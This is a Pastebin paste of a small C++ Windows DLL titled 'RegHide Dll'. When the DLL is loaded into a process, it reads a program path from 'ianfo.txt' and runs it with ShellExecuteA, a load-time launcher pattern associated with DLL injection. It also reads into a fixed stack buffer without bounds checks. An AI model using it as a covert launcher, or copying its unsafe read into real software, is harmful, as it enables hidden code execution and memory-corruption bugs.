Advertisement
CorrM

RegHide Dll

Jul 13th, 2015
466
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.65 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include <iostream>
  3. #include<fstream>
  4. #include <Windows.h>
  5. #include <Shellapi.h>
  6. #include <string>
  7. using namespace std;
  8.  
  9. BOOL APIENTRY DllMain( HMODULE hModule,
  10.                        DWORD  ul_reason_for_call,
  11.                        LPVOID lpReserved
  12.                      )
  13. {
  14.     ifstream myReadFile;
  15.     switch (ul_reason_for_call)
  16.     {
  17.     case DLL_PROCESS_ATTACH:
  18.         myReadFile.open("ianfo.txt");
  19.         char output[250];
  20.         char CMD[250];
  21.         if (myReadFile.is_open()) {
  22.             while (!myReadFile.eof()) {
  23.                 myReadFile >> output;
  24.             }
  25.         }
  26.         myReadFile.close();
  27.        
  28.         ShellExecuteA(0, 0, output, NULL, NULL, SW_NORMAL);
  29.  
  30.         break;
  31.     }
  32.     return TRUE;
  33. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement